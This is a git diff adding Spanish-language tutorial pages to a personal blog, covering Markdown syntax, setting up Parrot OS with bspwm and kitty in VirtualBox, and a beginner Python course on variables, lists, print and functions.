    Para poder introducir hipervínculos tanto en textos, enunciados o imágenes, podemos usar el siguiente parámetro +[](). Algo que debemos tener en cuenta es que si queremos redirigirnos a un archivo .md (MarkDown) pero que se nos +muestre en HTML, debemos escribirlo con la extensión .html para que se nos muestre correctamente.

    + +
    [Texto](Ruta del hipervínculo)
    +
    +[Ejemplo](https://ejemplo.com)
    +
    + +

    En la ruta del hipervínculo podemos tanto introducir el dominio de una página (como el ejemplo anterior) o redirigir + a un archivo local. Para ello simplemente establecemos la ruta desde el archivo desde el que nos encontremos.

    + +
     [Ejemplo](./Ejemplo1.html)
    +
    + +

    De esta forma nos redirige al archivo Ejemplo1.html situado en el mismo directorio que en el que nos encontramos ./ .

    + +
     [Ejemplo2](../Ejemplo2.html)
    +
    + +

    En este caso retrocedemos un directorio con ../ y nos lleva al archivo Ejemplo2.html.

    + + +

    Para generar links automáticos tan solo tendrás que rodearlos con los símbolos < >

    + +
    <https://f1r0x.github.io>
    +
    + +

    https://f1r0x.github.io

    + + +

    Para poder crear links dentro de nuestra página, por ejemplo para crear un índice o para establecer links a otros artículos, usaremos los siguientes +comandos:

    + +
    [Titulo del artículo](#item1) → Para los títulos del índice.
    +<a name=»item1″></a> → Marca a la que salta el enlace anterior.
    +
    + +

    El primer parámetro será dode estableceremos el link, mientras que el segundo nos indica a donde queremos desplazarnos.

    + +

    Mostrar texto o comandos en Bloque Básico:

    +

    Para poder mostrar información dentro de un bloque de forma que resalte y se pueda copiar su contenido de manera más eficiente, +simplemente pulsamos cuatro veces espacio, una vez tengamos cuatro espacios desde el inicio de la línea, MarkDown interpretará +que todo el contenido posterior va dentro de un bloque:

    + +
    Ejemplo
    +
    + +

    Crear Bloque para Código:

    +

    Si quieres crear un bloque entero que contenga código. Lo único que tienes que hacer es encerrar dicho párrafo entre dos líneas +formadas por tres ~ virgulillas.

    + +
    Ejemplo1
    +Ejemplo2
    +Ejemplo3
    +
    + +

    Crear Bloque para Código Específico:

    +

    De igual modo que el bloque anterior, podemos crear un bloque de códido específico para un lenguaje de programación. Para especificar el +lenguaje simplemente añadimos su extension al final de las tres primeras comillas.

    + +

    Ejemplo Python

    + +
    ```py
    +
    +print("Hello World")
    +
    +``` ```py
    +
    + +

    print(“Hello World”)

    + +

    ```

    + +

    Para establecer cualquier otro leguaje de programación, solo debemos sustituir py por la extensión deaseada.

    + +

    Reglas Horizontales:

    + +

    Para introducir líneas horizontales que separen los distintos apartados podemos utilizar tres asteriscos ***, tres guiones --- o tres +barras bajas ___.

    + +
    +
    +
    + +

    Imágenes:

    +

    Insertar una imagen con Markdown se realiza de una manera prácticamente idéntica a insertar links, con la diferencia que primero incorporamos un +signo de exclamación ![]()

    + +
    ![Texto alternativo](/ruta/a/la/imagen.jpg)
    +
    + +

    El texto alternativo es lo que se mostraría si la carga de la imagen fallase.

    + +

    También podrás añadir un título alternativo entrecomillándolo al final de la ruta. Esto sería el título mostrado al dejar el cursor del ratón sobre la imagen.

    + +
    ![Texto alternativo](/ruta/a/la/imagen.jpg "Texto al cursar sobre la Imagen.")
    +
    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/cursoparrot_1_.html b/Web/cursoparrot_1_.html new file mode 100644 index 00000000000..ab0b737b605 --- /dev/null +++ b/Web/cursoparrot_1_.html @@ -0,0 +1,358 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Entorno de Trabajo
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + Parrot + + + + + + + + + + + + + + + + + + + + + + +

    Requisitos mínimos del sistema para la instalación de Kali o Parrot:

    + +

    Para ejecutar Parrot o Kali con normalidad los documentos oficiales indican los siguientes requerimientos:

    + +
      +
    • Espacio en disco duro: 20 GB
    • +
    • Memoria RAM: 1 GB mínimo 2 o más recomendado
    • +
    • Hardware y periféricos: Unidad óptica y puerto(s) USB
    • +
    + +

    En cuanto al procesador no hay requerimientos precisos, Kali soporta arquitecturas ARM, i386 y x64. +En general puede decirse cualquier procesador moderno es capaz de ejecutar esta distribución.

    + +

    Aunque Parrot y Kali, al igual que muchas otras distribuciones no es muy exigente en cuanto a hardware, algunas herramientas como las de auditoria de redes +requieren que la tarjeta de red wifi pueda cambiarse de modo (por ejemplo modo monitor o promiscuo).

    + + +

    Configuración de Parrot en VirtualBox:

    + +

    Está es la configuración básica que se utiliza para configurar Parrot en VirtualBox, cabe destacar que se puede realizar modificaciones en funcion del equipo +en el que lo instalemos. En un ordenador más potente podremos añadir más capacidad y mejor rendimiento.

    + +

    En primer lugar, abrimos el VirtualBox y creamos una nueva máquina:

    + +

    Captura de pantalla 2022-09-28 020947

    + +

    Especificamos un nombre para la máquina, en este caso la llamaremos Parrot, luego en Carpeta de máquina, dejamos la ruta por defecto.

    + +

    Captura de pantalla 2022-09-28 020643

    + +

    Configuración de Parrot una vez instalado:

    + +

    Abrimos una Terminal y nos registramos como root`, para ello escribimos el comando siguiente:

    + +
    sudo su
    +
    + +

    Captura de pantalla 2022-09-28 023902

    + +

    Nos pedirá la contraseña, está contraseña es la misma que hemos especificado durante la instalación.
    +Una vez estemos como root, realizaremos un apt update para actualizar el sistema:

    + +
    apt update
    +
    + +

    Captura de pantalla 2022-09-28 023943

    + +

    Nota: Nunca realiceis un apt upgrade en Parrot. Este comando es utilizado en sistemas basados en Debian +para actualizar todos paquetes que tengan una nueva versión. En Parrot creará conflictos en sus librerias y +a la larga nos dará problemas al ejecutar muchas aplicaciones.

    + +

    En caso de querer actualizar en Parrot todos los paquetes a la última versión, Parrot tiene su propio +comando para realizr el upgrade:

    + +
    parrot-upgrade
    +
    + +

    Captura de pantalla 2022-09-28 024757

    + +

    Ahora vamos a proceder a instalar algunas herramientas y librerias, para que sea más fácil, se han compactado +todos los archivos que vamos a intalar en un solo comando. Para instalarlos simplemete copia el siguiente comando y ejecutalo:

    + +
    apt install build-essential git vim xcb libxcb-util0-dev libxcb-ewmh-dev libxcb-randr0-dev libxcb-icccm4-dev libxcb-keysyms1-dev libxcb-xinerama0-dev libasound2-dev libxcb-xtest0-dev libxcb-shape0-dev
    +
    + +

    Captura de pantalla 2022-09-28 032346

    + +

    No pedirá una confirmación, aceptamos escribiendo S y pulsado Enter.

    + +

    Captura de pantalla 2022-09-28 032413

    + +

    Captura de pantalla 2022-09-28 032736

    + +

    Si todo a salido bien veremos un reporte final como el de la imagen anterior. Ahora volvemos a realizar +otro apt update, por si queda algún paquete por instalar:

    + +
    apt update
    +
    + +

    Y con esto ya tendríamos el sistema listo y actualizado. Está es la isntalación básica del sistema en la que +se traba desde una Interfaz gráfica parecida al estilo de Windows con sus carpetas, su barra de tareas, etc.

    + +

    El siguiente paso, sería preparar nuestro entorno de trabajo para poder operar de manera eficiente utilizando +como base un interprete de comandos y no una interfaz gráfica.

    + +

    Esto lo veremos en el artículo de configuración de un entorno de trabajo en Parrot.

    + +

    Instalar BSPWM y SXHKD en Parrot:

    + +

    En primer lugar debemos de descargarnos los siguientes repositorios, recomiendo ir al direcotior Descargas +y descargarlos ahí:

    + +

    git clone https://github.com/baskerville/bspwm.git + git clone https://github.com/baskerville/sxhkd.git

    + +

    Ahora debemos de entrar en cada uno de los directorio creados bspwm y sxhkd y ejecutar el comando +make para montar la isntalción y sudo make install para iniciar la instalción. Esto debemos de +realizarlo en los dos directorios.

    + +
    cd bswpm 
    +make 
    +sudo make install 
    +cd.. 
    +cd sxhkd  
    +make 
    +sudo make install 
    +
    + +

    Una vez finalizado instalamos el bspwm ejecutando els siguiente comando desde el directorio Descargas:

    + +
    sudo apt install bspwm
    + +h1 id="como-instalar-kitty">Como instalar Kitty + +

    Para instalar la kitty desde la terminal ejecutamos el siguiente comando:

    + +
    sudo apt install kitty -y
    +
    + +

    Una vez instalada nos dirigimos al archivo sxxhkdrc que se encuentra en el directorio +/home/user/.config/sxhkd/sxhkdrc y dentro de este archivo tendremos que modificar el +apartado terminal emulator y cambiar urxvt por kitty.

    + +

    Podemos modificar el archivo utilizando la herramieta nano:

    + +
    nano sxhkdrc
    +
    + +

    Captura de pantalla 2022-09-28 043752

    + +

    Captura de pantalla 2022-09-28 043700

    + +

    Captura de pantalla 2022-09-28 043843

    + +

    Pulsamos Ctrl + o para guarda y Ctrl + x para salir.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursopython.html b/Web/cursopython.html new file mode 100644 index 00000000000..fde36ea09cd --- /dev/null +++ b/Web/cursopython.html @@ -0,0 +1,819 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Python
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Python + + + + + + + + + + + + + + + + + + + +

    Índice:

    + + +
  • 1.1 ¿Qué es Python?
  • +
  • 1.2 Ventajas de programar en Python.
  • +
  • 1.3 Programas Necesarios para programar en Python.
  • +
  • 1.3 Interprete de Python.
  • +
  • 1.3 Editor de Código.
  • +
  • 1.4 Dinámica de trabajo.
  • +
  • 2.1 Crear Nuestro Primer Programa: Hello World.
  • +
  • 2.2 Tipos de Data en Python: Datatypes.
  • +
  • 2.2 Variables.
  • +
  • 2.2 Listas.
  • +
  • 2.2 Función print().
  • +
  • 2.2 Definir una función.
  • + + +

    +

    ¿Qué es Python?

    + +

    Es un lenguaje de programación multiplataforma, que se destaca por su código legible y limpio. Su licencia es de código abierto y +permite su utilización en cualquier escenario. Esto hace que sea uno de los lenguajes de iniciación de muchos programadores. Permite y agiliza, entre otras de +sus características, la automatización de procesos y ejecución de tareas tanto en entorno de cliente como de servidor.

    + +

    Un lenguaje sencillo, legible y elegante que atiende a un conjunto de reglas que hacen muy corta su curva de aprendizaje. Esto hace de Python un lenguaje +práctico que permite ahorrar mucho tiempo.

    + +

    +

    Ventajas de programar en Python:

    + +
      +
    • Simplificado y rápido : Este lenguaje simplifica mucho la programación, es un gran lenguaje para scripting.
    • +
    • Elegante y flexible : El lenguaje ofrece muchas facilidades al programador al ser fácilmente legible e interpretable.
    • +
    • Programación productiva : Es sencillo de aprender, con una curva de aprendizaje moderada. Es muy fácil comenzar a programar y fomenta la productividad.
    • +
    • Ordenado y limpio : Es muy legible y sus módulos están bien organizados.
    • +
    • Portable : Es un lenguaje muy portable. Podemos usarlo en prácticamente cualquier sistema de la actualidad.
    • +
    • Comunidad : Cuenta con un gran número de usuarios. Su comunidad participa activamente en el desarrollo del lenguaje.
    • +
    + +

    +

    Programas Necesarios para programar en Python:

    + +

    +

    Interprete de Python:

    + +

    Para poder programar en Python vamos a necesitar dos programas, primero vamos a necesitar un intérprete de Python, que es el encargado a que nuestro ordenador +(o cualquier dispositivo compatible) pueda entender Python. Podemos descargarlo desde su página oficia.

    + +
      +
    • Descargar Intérprete de Python –> Link
    • +
    + + + +

    Python1

    + +

    Screenshot 2022-06-07 080832

    + +

    Una vez descargado, ejecutamos el archivo de instalación .exe. La instalación es muy simple, lo primero que veremos al desplegarse la ventana de instalación +es el botón de Install Now, pero antes de pulsarlo debéis activar las casillas inferiores. Tanto la que nos permite utilizar el programa a todos los usuarios +(que viene activada de forma predeterminada) como la Add Python to PATH que nos permitira trabajar con python desde la Terminal.

    + +

    Screenshot 2022-06-07 081039

    + +

    Para comprobar que la instalación se ha completado correctamente, abrimos la terminal de Windows (Cntl + r y escribimos cmd) y ejecutamos el siguiente +comando:

    + +
    python --version
    +
    + +

    Screenshot 2022-06-07 081356

    + +

    Screenshot 2022-06-07 081534

    + +

    Si la instalación se ha realizado correctamente, nos debería de mostrar la versión de Python instalada. También podemos comprobar que funciona correctamente +ejecutando el mismo Python:

    + +
    python
    +
    + +

    Screenshot 2022-06-07 081426

    + +

    Ahora nuestra terminal está lista para interpretar código Python. Podemos comprobarlo actuando algún cálculo simple. Ej: 2 + 2 y debería reportarnos 4. +Para volver a la Terminal de Windows introducimos el comando exit().

    + +

    Screenshot 2022-06-07 081636

    + +

    +

    Editor de Código:

    + +

    El segundo programa que vamos a necesitar va a ser el encargado de ayudarnos a escribir el código de Python, estos programas se conocen como editores de código +y existe una gran variedad. Nosotros vamos a usar Visual Estudio Code, ya que es el editor más empleado actualmente.

    + +
      +
    • Descargar Editor de Código –> Link
    • +
    + +

    Screenshot 2022-06-07 081905

    + +

    Screenshot 2022-06-07 081932

    + +

    Al igual que la instalación anterior, esta también es muy sencilla y debemos de fijarnos básicamente en lo mismo. Una vez descargado el archivo de instalación +.exe simplemente lo ejecutamos, una vez inicie la instalación, pulsamos siguiente hasta llegar al apartado Seleccione Tareas Adicionales y debemos de +activar la opción de Agregar a PATH (disponible después de reiniciar), está opción nos permitirá trabajar desde la Terminal con el Editor de Código.

    + +

    Screenshot 2022-06-07 082001

    + +

    +

    Dinámica de trabajo:

    + +

    Una vez tengamos los dos programas instalados ya podemos empezar a trabajar. Básicamente, escribiremos nuestro código mediante el Editor de Código (en este caso +mediante Visual Estudio Code) y lo ejecutaremos utilizando el Interprete.

    + +
    + +

    +

    Crear Nuestro Primer Programa: Hello World

    + +

    Para empezar, vamos a crearnos una carpeta desde la cual trabajar. Creamos una carpeta llamada Curso_Python en nuestro escritorio. Tras crear la carpeta, abrimos +el Visual Estudio Code, y en la parte superior izquierda pulsamos File luego Open Folder y abrimos nuestra carpeta Curso_Python.

    + +

    Screenshot 2022-06-07 093039

    + +

    Una vez abierta la carpeta, veremos como se nos muestra en modo menú en la parte izquierda de la pantalla. Ahora vamos a generar un archivo dentro de nuestra +carpeta, para ello nos dirigimos al menú de nuestra carpeta (arriba izquierda) y pulsamos New File, llamaremos al archivo helloworld.py.

    + +

    Screenshot 2022-06-07 093905

    + +

    Screenshot 2022-06-07 093558

    + +

    Para que nuestro programa funcione y que los dispositivos identifiquen que este archivo contiene código Python, debemos usar la extensión .py, ya que sin +ella los archivos no se ejecutaran.

    + +

    Una vez creado nuestro archivo helloworld.py, vamos a tratar de crear un programa super simple que nos devuelva la frase Hello World. En primer lugar, vamos +a introducir un comentario para en un futuro poder saber de qué trata el programa. Los comentarios son muy útiles para programas con códigos largos o cuando +trabajamos con otras personas y queremos dejar notas sobre las cuestiones que veamos oportunas reportar. Los comentarios solo aparecen en el código, no serán +interpretados al ejecutar el programa.

    + +

    Para introducir un comentario simplemente colocamos el signo # seguido del comentario en cuestión. En nuestro caso vamos a especificar que es nuestro primer +programa, para ello escribimos # Este es mi primer programa.

    + +

    Screenshot 2022-06-07 094110

    + +

    Bien, ya hemos visto como se incorporan los comentarios, ahora vamos con la sintaxis del código. La finalidad de nuestro programa es que cuando lo +ejecutemos, nos reporte la frase Hello World. Para ello vamos a ver nuestro primer concepto que son las palabras claves. Python utiliza estas palabras clave o +argumentos que tiene predefinidas para realizar una serie de acciones. El argumento que nosotros vamos a necesitar para Imprimir nuestra frase es print().

    + +

    print() : Se usa para imprimir en pantalla. En caso de no establecer nada, Python lo interpretará como un salto de línea (al igual que si pulsáramos Enter +en un editor de texto.).

    + +
    # Este es mi primer programa
    +print("Hello World")   
    +
    + +

    Screenshot 2022-06-07 094243

    + +

    Finalmente, para guardar nuestro proyecto podemos dirigirnos a File y Save o utilizando el atajo Ctrl + s.

    + +

    Screenshot 2022-06-07 094551

    + +

    Como veis debemos de introducir el texto entre comillas ya sean dobles o simples. ¿Ya tendríamos nuestro primer mini programa creado, fácil verdad? El siguiente +paso será ejecutarlo.

    + +

    Para ejecutar nuestro programa lo primero que debemos de hacer es abrir una Terminal. Para abrir la Terminal de Windows (Cntl + r y escribimos cmd). Una vez +abierta la Terminal debemos dirigirnos a la carpeta creada al principio, que es donde se encuentra nuestro programa helloworld.py. Para desplazarnos entre +directorios empleamos el comando cd seguido de la ruta de nuestra carpeta.

    + +
    cd /Desktop/Curso_Python/
    +
    +cd /Escritorio/Curso_Python/
    +
    + +

    Screenshot 2022-06-07 094954

    + +

    Una vez estemos en nuestro directorio, podemos ver los archivos que contiene mediante el comando dir y vemos nuestro archivo helloworld.py. Para ejecutar el +programa, simplemente escribimos el comando python seguido de nuestro programa.

    + +
    python helloworld.py
    +
    + +

    Screenshot 2022-06-07 095305

    + +

    Como podéis ver nos reporta nuestra frase. En caso de tener dudas con los parámetros que vamos viendo, podéis revisarlos con el parámetro ayuda -h.

    + +
    python -h
    +
    + +

    Puede parecer muy confuso al principio, pero en un futuro puede resolverte pequeñas dudas.

    + +
    + +

    +

    Tipos de Data en Python: Datatypes

    + +

    Vamos a tratar de establecer algún concepto más, ya hemos visto la capacidad de imprimir frases como la de “Hello World”, a cada letra o símbolo incluido dentro +de la frase (incluidos los espacios) se les conoce como caracteres y al conjunto de estos caracteres se le conoce como string. Cuando cambiamos cualquier +carácter, ya sea un espacio, una letra minúscula por una mayúscula o incluir cualquier signo, Pyhton interpreta que es un string diferente.

    + +

    Por Ejemplo : “Hello World” y “hello World” serían dos strings diferentes, ya que la primera letra no es igual.

    + +

    Otra cosa que debemos tener en cuenta es que podemos establecer varios strings diferenciándolos únicamente por el tipo de comillas. A continuación podemos ver +ejemplos de diferentes strings en función del tipo de comillas.

    + +
    'Hello World'
    +"Hello World"
    +'''Helo World'''
    +"""Hello World"""
    +
    + +

    Como podéis ver, existen varias formas de nombrar un string, pero como podemos saber que interpreta Pyhton como un string? Muy fácil, para ello volvemos a la +Terminal, ejecutamos Python:

    + +
    python
    +
    + +

    Y vamos a suponer que queremos saber si "Hello World" es un string, para ello utilizaremos el argumento type().

    + +
    type("Hello World")
    +
    + +

    Screenshot 2022-06-07 094929

    + +

    Al ejecutarlo vemos como no nos devuelve el resultado. Esto es debido a que nos falta añadir tambien la función +print()para que nos responda mediante la terminal.

    + +
    print(type("Hello World"))
    +
    + +

    Screenshot 2022-06-08 133500

    + +

    Vemos como ahora no reporta class 'str', donde str es el diminutivo de string. Vamos a ver otro ejemplo, esta vez con los números:

    + +

    print(type(100))

    + +

    Screenshot 2022-06-08 133611

    + +

    Esta vez vemos como nos reporta int (integral), indicándonos que se trata de un número entero.

    + +

    Ahora vamos a tratar de incluir este argumento en nuestro programita anterior, en primer lugar, el programa debe imprimir la frase “Hello World” y seguido +debe de imprimir el tipo de clase que es. Para ello realizamos lo siguiente:

    + +
    # Este es mi primer programa
    +print("Hello World")
    +print(type("Hello World"))
    +
    + +

    Screenshot 2022-06-08 131601

    + +

    Guardamos (Cntrl + s) y desde la terminal lo ejecutamos.

    + +

    Ahora, vemos como nos reporta la frase, y el tipo de clase que es. Bien, ya hemos tocado un poco de Python, ahora vamos a seguir con algo de teoría.

    + +
    + +

    +

    Variables

    + +

    Ahora vamos a ver el concepto de variables, una variable la podemos definir como un nombre adjunto a un objeto en particular. En Python, las variables no +necesitan ser declaradas o definidas por adelantado, como es el caso en muchos otros lenguajes de programación.

    + +

    Para crear una variable, simplemente le asignamos un valor y luego ya podemos empezar a utilizarla. La asignación se realiza con un solo signo igual =:

    + +

    Ejemplo:

    + +
    x = 10
    +y = "F1r0x"
    +print(x)
    +print(y)
    +
    + +

    Screenshot 2022-06-08 131753

    + +

    Como podéis ver aquí establecemos dos variables, al objeto 10 le establecemos el nombre x, de tal forma que al ejecutar print(x) directamente nos imprime +10. De la misma manera establecemos la segunda variable con y.

    + +

    Podemos definir varias variables al mismo objeto, teniendo en cuenta que Python lee de arriba para bajo, se interpretará la última variable establecida. Esto puede +ser un poco lioso, pero vamos a ver un par de ejemplos.

    + +
    x = 1000
    +x = 20
    +print(x)
    +
    +

    Screenshot 2022-06-08 131916

    + +

    Como puedes ver, hemos establecido dos variables al mismo objeto. Como x = 20 es el último establecido, será el único que se imprima por pantalla. En caso de querer +imprimir también el primer valor, debemos de imprimir x antes del cambio:

    + +
    x = 1000   
    +print(x)
    +x = 20     # Cambio de la variable
    +print(x)
    +
    +

    Screenshot 2022-06-08 131944

    + +

    Ahora nos reporta los dos resultados, Python interpreta la primera variable hasta llegar al cambio x = 20. Algo importante también, es que las variables distinguen +entre mayúsculas y minúsculas:

    + +
    a = 5          # Estas dos variables son distintas.
    +A = "F1r0x"
    +
    + +

    El siguiente concepto que vamos a ver dentro de las variables, es como indicar el tipo de datos de una variable.

    + +
    x = str(5)     # Establecemos la variable como String '5'
    +y = int(5)     # Establecemos la variable como Entero 5 
    +z = float(5)   # Establecemos la variable como Float 5.0 
    +
    + +

    De esta forma podemos ejecutar una variable de varias formas distintas. Podéis comprobarlo imprimiendo mediante print() las distintas variables:

    + +
    x = str(5)     # Establecemos la variable como String '5'
    +y = int(5)     # Establecemos la variable como Entero 5 
    +z = float(5)   # Establecemos la variable como Float 5.0 
    +
    +print(x)
    +print(y)
    +print(z)
    +
    +

    Screenshot 2022-06-08 132030

    + +

    También podemos obtener el tipo de datos de un variable con el argumento type(), para ver un ejemplo crearemos dos nuevas variables x = 10 y y = "F1r0x" +y queremos reportar el tipo de variable:

    + +
    x = 10
    +y = "F1r0x"
    +print(type(x))
    +print(type(y))
    +
    +

    Screenshot 2022-06-08 132100

    + +

    Ya hemos visto como establecer variables, lo único es que los nombres que hemos establecido a las variables son muy simples (básicamente x y y). ¿Qué ocurre +si queremos establecer nombres más largos y más específicos? Pues en primer lugar debemos de saber que no podemos asignar el nombre que queramos, existen unos +parámetros que Python interpretará como nombres y otros que los interpretará como variables ilegales. Veamos las reglas básicas de Python:

    + +
      +
    • Un nombre de variable debe comenzar con una letra o el carácter de subrayado (barra baja _).
    • +
    • Un nombre de variable NO puede comenzar con un número.
    • +
    • Un nombre de variable solo puede contener caracteres alfanuméricos y guiones bajos (Az, 0-9 y _).
    • +
    • Los nombres de las variables distinguen entre mayúsculas y minúsculas (edad, Edad y EDAD son tres variables diferentes).
    • +
    + +

    Nombres de variables Legales:

    + +

    Ejemplo:

    +
    minombre = "F1r0x"
    +mi_nombre = "F1r0x"
    +_mi_noimbre = "F1r0x"
    +miNombre = "F1r0x"
    +MINOMBRE = "F1r0x"
    +minombre11 = "F1r0x"
    +
    + +

    Nombre de variables Ilegales:

    + +

    Ejemplo:

    +
    1minombre = "F1r0x"
    +mi-nombre = "F1r0x"
    +mi nombre = "F1r0x"
    +
    +

    Estos tres últimos ejemplos, Python no será capaz de interpretarlos y nos reportará un error.

    + +

    Para las variables largas, podemos utilizar varias técnicas para facilitar su lectura:

    + +

    Carmel: +Cada palabra, excepto la primera, comienza con una letra mayúscula:

    +
    miVaribleNombre = "F1r0x"
    +
    +

    Pascual: +Cada palabra comienza con una letra mayúscula:

    +
    MiVariableNombre = "F1r0x"
    +
    +

    Snake: +Cada palabra está separada por un carácter de subrayado:

    +
    mi_variable_nombre = "F1r0x"
    +
    + +

    Ya sabemos estableces variables y podemos llamarlas de múltiples maneras. Ahora vamos a ver como establecer distintas variables sin necesidad de escribir +código de más, ya que podemos establecer distintas variables en la misma línea de código. Esto lo podemos ejecutar de la siguiente manera:

    + +
    x, y, z = "Unos", "Dos", "Tres"
    +print(x)
    +print(y)
    +print(z)
    +
    + +

    Screenshot 2022-06-08 132131

    + +

    Otra cosa que también podemos hacer es establecer un valor para múltiples variables. De esta forma ejecutando cualquiera de esas variables, obtendremos el +mismo resultado:

    + +
    x = y = z = "Unos", "Dos", "Tres"
    +print(x)
    +print(y)
    +print(z)
    +
    +

    Screenshot 2022-06-08 132208

    + +
    + +

    +

    Listas

    + +

    El siguiente concepto que vamos a ver son las listas se utilizan para almacenar varios elementos en una sola variable. Para crear listas se emplean los +corchetes []. Vamos a ver un ejemplo y crear una lista simple:

    + +
    milista = ["Uno", "Dos", "Tres"]
    +print(milista)
    +
    +

    Screenshot 2022-06-08 132238

    + +

    Los elementos de la lista están ordenados, se pueden cambiar y permiten valores duplicados. Estos elementos están indexados, el primer elemento tiene un índice +0, el segundo 1 y así sucesivamente. Las listas están ordenadas, significa que los elementos tienen un orden definido y ese orden no cambiará.

    + +

    La lista se puede cambiar, lo que significa que podemos cambiar, agregar y eliminar elementos en una lista después de que se haya creado. Debido a que las +listas están indexadas, las listas pueden tener elementos con el mismo valor.

    + +
    milista = ["Uno", "Dos", "Tres", "Uno"]
    +print(milista)
    +
    + +

    En el index número 3 tengo establecido el nombre Uno, al igual que en el index 0. Ahora, que ocurre cuando tenemos listas muy largas y queremos saber +la longitud de la lista, para ello utilizamos la función len() y nos reporta el número de nombres que componen la lista:

    + +
    milista = ["Uno", "Dos", "Tres", "Uno"]
    +print(len(milista))
    +
    +

    Screenshot 2022-06-08 132406

    + +

    Ahora vamos a ver como extraer, los distintos nombres de una lista y asignarlos a varias variables, esto se conoce como unpacking.

    + +
    comida = ["arroz", "pizza", "sopa"]   # Nuestra lista
    +x, y, z = comida                      # Asignamos nuestras tres variables a la lista comida.
    +print(x)                              # Imprime el primer valor de la lista comida.
    +print(y)                              # Imprime el segundo valor de la lista.  
    +print(z)
    +
    +

    Screenshot 2022-06-08 132444

    + +

    Al estar las listas indexadas, vemos como nos reporta los nombres de la lista en el mismo orden que hemos establecido las variables.

    + +
    + +

    +

    Función print()

    + +

    La función de Python print() se usa a menudo para generar variables y reportarlas por consola, como hemos visto anteriormente. Vamos a ver un poco más a fondo +su funcionamiento. Esta función permite generar múltiples variables separándolas por una coma ,.

    + +
    x = "Hello"
    +y = "World"
    +print(x, y)
    +
    +

    Screenshot 2022-06-08 132510

    + +

    Como vemos nos reporta los nombres de las variables separados por un espacio. Otra forma de generar varias variables es utilizando el signo +, al utilizar el +signo de suma los nombres de las variables y se reportarán sin espacios entre los nombres.

    + +
    x = "Hello"
    +y = "World"
    +print(x + y)
    +
    +

    Screenshot 2022-06-08 132533

    + +

    También podemos utilizar el carácter + como operador matemático, para ello establecemos dos variables numéricas y establecemos la suma en la función print():

    + +
    x = 10
    +y = 20
    +print(x + y)
    +
    +

    Screenshot 2022-06-08 132555

    + +

    Obviamente, esta función solo es funcional con variables numéricos, en caso de intentar sumar una cadena y un número se nos reportará un error.

    + +
    x = "F1r0x"
    +y = 20
    +print(x + y)      # Nos reportará un error. No puede sumar F1r0x y 20.
    +
    +

    Screenshot 2022-06-08 132637

    + +

    En caso de querer imprimir dos variables diferentes, es mejor usar print() separando las variables por una coma.

    + +
    x = "F1r0x"
    +y = 20
    +print(x, y)      # Correcto. Nos reportará: F1rox 20
    +
    +

    Screenshot 2022-06-08 132708

    + +
    + +

    +

    Como Definir una Función

    + +

    ¿Qué es una Función?

    + +

    En Python, una función es un grupo de declaraciones relacionadas que realizan una tarea específica.

    + +

    Las funciones ayudan a dividir nuestro programa en partes más pequeñas y modulares. A medida que nuestro programa crece más y más, las funciones lo hacen más +organizado y manejable.

    + +

    Además, evita la repetición y hace que el código sea reutilizable. Su sintaxis básica sería la siguiente:

    + +
    def nombre_función(parámetros):
    +	"""cadena de documentación"""
    +	declaraciones)
    +
    + +

    Como podéis ver, la definición de una función consta de los siguientes componentes:

    + +
      +
    • Palabra clave def : Marca el inicio del encabezado de la función.
    • +
    • Nombre de la función : Identifica de forma única la función. La nomenclatura de funciones sigue las mismas reglas de escritura de identificadores en Python.
    • +
    • Parámetros : (Argumentos) A través de los cuales pasamos valores a una función. Son opcionales.
    • +
    • Dos puntos (:) : Se utiliza para marcar el final del encabezado de la función.
    • +
    • Cadena de documentación opcional : (Docstring) Es básicamente un comentario para describir lo que hace la función.
    • +
    + +

    Las declaraciones deben tener el mismo nivel de sangría (generalmente 4 espacios). También podemos incluir de manera opcional una declaración return para + devolver un valor de la función. Entraremos en detalle sobre estos conceptos más adelante.

    + +

    Vamos a ver algunos ejemplos, primero vamos a crear una variable fuera de una función x y la utilizaremos dentro de la función:

    + +
    x = "World"      # Variable fuera de la función.    
    +
    +def mifuncion():
    +  print("Hello " + x)    
    +
    +mifuncion()
    +
    +

    Screenshot 2022-06-08 132736

    + +

    También está la opción de crea una variable con el mismo nombre dentro de una función, esta variable será local y solo se puede usar dentro de la función. La + variable global con el mismo nombre quedará como estaba, global y con el valor original.

    + +
    x = "World"      # Variable fuera de la función.    
    +
    +def mifuncion():
    +  x = "F1r0x"
    +  print("Hello " + x)    
    +
    +mifuncion()
    +
    +print("Hello " + x)
    +
    +

    Screenshot 2022-06-08 132800

    + +

    De la misma forma que hemos creado una variable global fuera de la función, podemos definirla dentro. Esto lo podemos realizar utilizando la palabra clave +global dentro de la función:

    + +
    def mifuncion():
    +  global x
    +  x = "World"   
    +
    +mifuncion()
    +
    +print("Hello " + x)
    +
    + +

    Screenshot 2022-06-08 132820

    + +

    Ya hemos visto muy por encima varios conceptos, hemos visto las variables, las listas, las funciones y ahora vamos a tratar de profundizar un poco más utilizando +los disntintos conceptos.

    + +

    Vamos a tratar de explicar algunas funciones, hemos visto como imprimir mediante print() y como podemos ejecutar un string como por ejemplo +print("Hello Wold"). Esto esta muy bien, pero para poder ver las funciones que podeos aplicar a este string se utiliza la funcion dir():

    + +
    miString = "Hello World"
    +
    +print(dir(miString))
    +
    + +

    Screenshot 2022-06-08 132853

    + +

    Aquí podeís ver todas las opciones que le podemos aplicar al string “Hello World”. El primer ejemplo q vamos a ver es upper() (uppercase = mayúscula) que nos +muestra el string en mayúsculas.

    + +
    miString = "Hello World"
    +
    +print(miString.upper())
    +
    +

    Screenshot 2022-06-08 134905

    + +

    La sintaxis mantiene primero la función, seguido de la variable y finalmente, introducimos separado por un punto . la función que modifica nuestro string. +Vemos como la funcion upper() ha modificado com pletamente nuestra variable, mostrandonos todo su contenido en mayúsculas.

    + +

    También podemos realizar la operación contraria, utilzando la función lower() podemos representar el string en minúsculas.

    + +
    miString = "Hello World"
    +
    +print(miString.upper())
